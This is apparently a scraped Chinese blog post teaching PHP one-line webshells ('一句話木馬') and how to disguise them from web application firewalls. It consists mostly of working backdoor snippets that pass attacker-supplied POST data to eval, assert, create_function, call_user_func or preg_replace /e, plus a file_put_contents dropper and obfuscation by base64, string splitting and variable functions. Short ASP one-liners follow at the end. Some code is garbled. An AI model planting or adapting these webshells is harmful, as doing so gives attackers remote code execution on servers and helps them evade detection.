webshell之一句話木馬變形

2021-09-21 06:20:48 字數 3258 閱讀 3293

一句話木馬就是只需要一行**的木馬,短短一行**,就能做到和大馬相當的功能。為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的:木馬的函式執行了我們傳送的命令。

我們如何傳送命令,傳送的命令如何執行?

我們可以通過get、post、cookie

這三種方式向乙個**提交資料,一句話木馬用$_get[' ']、$_post[' ']、$_cookie[' ']

接收我們傳遞的資料,並把接收的資料傳遞給一句話木馬中執行命令的函式,進而執行命令。 所以看到的經典一句話木馬大多都是只有兩個部分,乙個是可以執行**的函式部分,乙個是接收資料的部分。

例如:

其中eval就是執行命令的函式,$_post['a']就是接收的資料。eval函式把接收的資料當作php**來執行。這樣我們就能夠讓插入了一句話木馬的**執行我們傳遞過去的任意php語句。這便是一句話木馬的強大之處。

示例:

因為木馬是接收post請求中 「a」 的資料( $_post[『a』]),所以我們必須以post方法傳送資料並且將我們要執行的**賦值給「a」。如果把木馬中的post替換成get,那麼我麼就需要以get方法傳送「a」,( 就像這樣: )我就不再另行演示了。

#

<?php assert(@$_post['a']); ?>create_function函式

<?php

$fun = create_function('',$_post['a']);

$fun

();?>

把使用者傳遞的資料生成乙個函式fun(),然後再執行fun()

#

<?php

@call_user_func(assert,$_post['a']);

?>

call_user_func這個函式可以呼叫其它函式,被呼叫的函式是call_user_func的第乙個函式,被呼叫的函式的引數是call_user_func的第二個引數。這樣的乙個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函式繞過waf。

#

<?php

@preg_replace("/abcde/e", $_post['a'], "abcdefg");

?>

這個函式原本是利用正規表示式替換符合條件的字串,但是這個函式有乙個功能——可執行命令。這個函式的第乙個引數是正規表示式,按照php的格式,表示式在兩個「/」之間。如果我們在這個表示式的末尾加上「e」,那麼這個函式的第二個引數就會被當作**執行。

利用函式生成木馬

#

<?php

$test='<?php $a=$_post["cmd"];assert($a); ?>';

file_put_contents("trojan.php", $test

);?>

函式功能:生成乙個檔案,第乙個引數是檔名,第二個引數是檔案的內容。

waf是**的防火牆,例如安全狗就是waf的一種。waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種php小技巧,掌握的技巧多了,把技巧結合起來,設計出屬於自己的一句話木馬。

#

<?php

$a = "eval";

$a(@$_post['a']);

?>

第三行使用了變數函式$a,變數儲存了函式名eval,便可以直接用變數替代函式名。

#

<?php

$bb="eval";

$a="bb";

$$aa($_post['a']);

?>

看這句就能理解上述語句:$$aa = $($aa) = $ (『bb』) = $bb = "eval"

#

<?php

$a=str_replace("waldo", "", "ewaldoval");

$a(@$_post['a']);

?>

函式功能:在第三個引數中,查詢第乙個引數,並替換成第二個引數。這裡第二個引數為空字串,就相當於刪除"waldo"。

#

<?php

$a=base64_decode("zxzhba==")

$a($_post['a']);

?>

這裡是base64解密函式,"zxzhba=="是eval的base64加密。

#

<?php

$a="e"."v";

$b="a"."l";

$c=$a.$b

;$c($_post['a']);

?>

#

<?php

$str="a=eval";

parse_str($str

);$a($_post['a']);

?>

執行這個函式後,生成乙個變數$a,值為字串"eval"

更多技巧...

多實戰,多穀歌! 上述六種技巧每一種單獨使用都不能繞過waf,但是與 第三大點提到的函式混合起來使用,就可以順利的欺騙waf。 tips:使用一句話木馬的時候可以在函式前加」@」符,這個符號讓php語句不顯示錯誤資訊,增加隱蔽性。

#

<?php

function

fun()

@preg_replace("/test/e",fun(),"test test test");

?>

這裡又有乙個技巧,建立函式 fun(),返回post中「a」的資料。我的這個例子很明顯是一句話木馬,但是安全狗卻掃不出,d盾也是如此。

posted @

2019-05-05 22:44

卿先生 閱讀(

...)

編輯收藏

webshell一句話木馬

asp一句話木馬 eval request sb execute request sb execute request sb execute request sb loop loop execute request sb eval request chr 35 executeglobal reque...

一句話木馬

一句話木馬短小精悍,而且功能強大,隱蔽性非常好,在入侵中始終扮演著強大的作用。一句話木馬 服務端 是用於本地的html提交指令碼木馬檔案 就是我們要用來插入到asp檔案中的asp語句,不僅僅是以asp為字尾的資料庫檔案 該語句將回為觸發,接收入侵者通過客戶端提交的資料,執行並完成相應的操作,服務端的...

關於一句話木馬

這裡的asp後門不指像那些一句話木馬 砍客 冰狐之類的b s型的,只指像cmd.asp或2005a.asp的。第乙個,來看zzzeva免fso的cmd.asp 如下 是不是覺得有點長了?在注入時寫有點不好寫。那來改一下。第二個,更改zzzeva免fso的cmd.asp 如下 response.wri...